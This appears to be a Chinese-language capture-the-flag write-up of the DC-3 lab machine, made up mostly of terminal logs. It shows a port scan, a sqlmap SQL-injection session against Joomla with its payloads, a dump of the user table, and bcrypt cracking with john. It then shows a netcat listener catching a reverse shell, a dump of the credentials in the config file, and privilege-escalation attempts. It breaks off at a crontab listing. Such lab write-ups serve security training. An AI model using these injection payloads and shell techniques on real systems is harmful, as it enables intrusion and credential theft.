┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.125 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-10 10:26 EDT Nmap scan report for 192.168.56.125 Host is up (0.00074s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:CC:D5:DF (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p80 192.168.56.125 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-10 10:27 EDT Nmap scan report for 192.168.56.125 Host is up (0.00057s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Home |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:CC:D5:DF (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.27 seconds
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:10:50 /2023-07-10/
[11:10:50] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3' from file '/usr/share/sqlmap/data/txt/user-agents.txt' [11:10:50] [INFO] resuming back-end DBMS 'mysql' [11:10:50] [INFO] testing connection to the target URL [11:10:51] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests you have not declared cookie(s), while server wants to set its own ('460ada11b31d3c5e5ca6e58fd5d3de27=k6o2ipqeqht...g5bmibevh0'). Do you want to use those [Y/n] y sqlmap resumed the following injection point(s) from stored session: --- Parameter: list[fullordering] (GET) Type: error-based Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(7808,CONCAT(0x2e,0x7162786b71,(SELECT (ELT(7808=7808,1))),0x716b766b71),3038))
Type: time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 3897 FROM (SELECT(SLEEP(5)))wOhr) --- [11:10:52] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.1 [11:10:52] [INFO] fetching columns for table '#__users'in database 'joomladb' [11:10:52] [WARNING] unable to retrieve column names for table '#__users'in database 'joomladb' do you want to use common column existence check? [y/N/q] y [11:10:53] [WARNING] incase of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' which common columns (wordlist) file do you want to use? [1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter) [2] custom > [11:10:54] [INFO] checking column existence using items from '/usr/share/sqlmap/data/txt/common-columns.txt' [11:10:54] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] [11:10:56] [WARNING] running in a single-thread mode. This could take a while [11:10:56] [INFO] retrieved: id [11:10:56] [INFO] retrieved: name [11:10:56] [INFO] retrieved: username [11:10:57] [INFO] retrieved: email [11:11:00] [INFO] retrieved: password [11:11:44] [INFO] retrieved: params
[11:11:56] [INFO] table 'joomladb.`#__users`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.56.125/dump/joomladb/#__users.csv' [11:11:56] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 2683 times [11:11:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.125'
[*] ending @ 11:11:56 /2023-07-10/
john爆破
拿到了用户密码的哈希值，在线工具没有搜索到，那就使用 john 来破解，同时还发现自己使用 john 命令老师忘记 --wordlist= 最后的 =，hash-identifier 没有识别出识别哈希类型，使用在线工具确定了哈希类型为 bcrypt，但是 --format 中没有这个哈希类型。通过网络搜索发现的确是可以使用 --format=bcrypt 的
┌──(kali㉿kali)-[~/Downloads/dc_3] └─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt passwd --format=bcrypt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status snoopy (?) 1g 0:00:00:00 DONE (2023-07-10 11:33) 1.086g/s 156.5p/s 156.5c/s 156.5C/s mylove..sandra Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 443 [sudo] password for kali: listening on [any] 443 ... connect to [192.168.56.106] from (UNKNOWN) [192.168.56.125] 53722 bash: cannot set terminal process group (1173): Inappropriate ioctl for device bash: no job control in this shell www-data@DC-3:/var/www/html/templates/beez3$ whoami whoami www-data www-data@DC-3:/var/www/html/templates/beez3$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@DC-3:/var/www/html/templates/beez3$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:cc:d5:df brd ff:ff:ff:ff:ff:ff inet 192.168.56.125/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fecc:d5df/64 scope link valid_lft forever preferred_lft forever www-data@DC-3:/var/www/html/templates/beez3$ uname -a uname -a Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux www-data@DC-3:/var/www/html/templates/beez3$ python -c "import pty;pty.spawn('/bin/bash')" </templates/beez3$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@DC-3:/var/www/html$ cat configuration.php cat configuration.php <?php class JConfig { public $offline = '0'; public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.'; public $display_offline_message = '1'; public $offline_image = ''; public $sitename = 'DC-3'; public $editor = 'tinymce'; public $captcha = '0'; public $list_limit = '20'; public $access = '1'; public $debug = '0'; public $debug_lang = '0'; public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'root'; public $password = 'squires'; public $db = 'joomladb'; public $dbprefix = 'd8uea_'; public $live_site = ''; public $secret = '7M6S1HqGMvt1JYkY'; public $gzip = '0'; public $error_reporting = 'default'; public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}'; public $ftp_host = '127.0.0.1'; public $ftp_port = '21'; public $ftp_user = ''; public $ftp_pass = ''; public $ftp_root = ''; public $ftp_enable = '0'; public $offset = 'UTC'; public $mailonline = '1'; public $mailer = 'mail'; public $mailfrom = 'freddy@norealaddress.net'; public $fromname = 'DC-3'; public $sendmail = '/usr/sbin/sendmail'; public $smtpauth = '0'; public $smtpuser = ''; public $smtppass = ''; public $smtphost = 'localhost'; public $smtpsecure = 'none'; public $smtpport = '25'; public $caching = '0'; public $cache_handler = 'file'; public $cachetime = '15'; public $cache_platformprefix = '0'; public $MetaDesc = 'A website for DC-3'; public $MetaKeys = ''; public $MetaTitle = '1'; public $MetaAuthor = '1'; public $MetaVersion = '0'; public $robots = ''; public $sef = '1'; public $sef_rewrite = '0'; public $sef_suffix = '0'; public $unicodeslugs = '0'; public $feed_limit = '10'; public $feed_email = 'none'; public $log_path = '/var/www/html/administrator/logs'; public $tmp_path = '/var/www/html/tmp'; public $lifetime = '15'; public $session_handler = 'database'; public $shared_session = '0'; }
www-data@DC-3:/tmp$ su - su - Password: 7M6S1HqGMvt1JYkY
su: Authentication failure www-data@DC-3:/tmp$ su - su - Password: squires
su: Authentication failure www-data@DC-3:/tmp$ su - su - Password: snoopy
su: Authentication failure www-data@DC-3:/tmp$ su dc3 su dc3 Password: snoopy
su: Authentication failure www-data@DC-3:/tmp$ su dc3 su dc3 Password: squires
su: Authentication failure www-data@DC-3:/tmp$ su dc3 su dc3 Password: 7M6S1HqGMvt1JYkY
su: Authentication failure
进数据库看看也没什么收获，之前 sqlmap 已经把最关键的信息拿到了。
看看定时任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
www-data@DC-3:/home$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
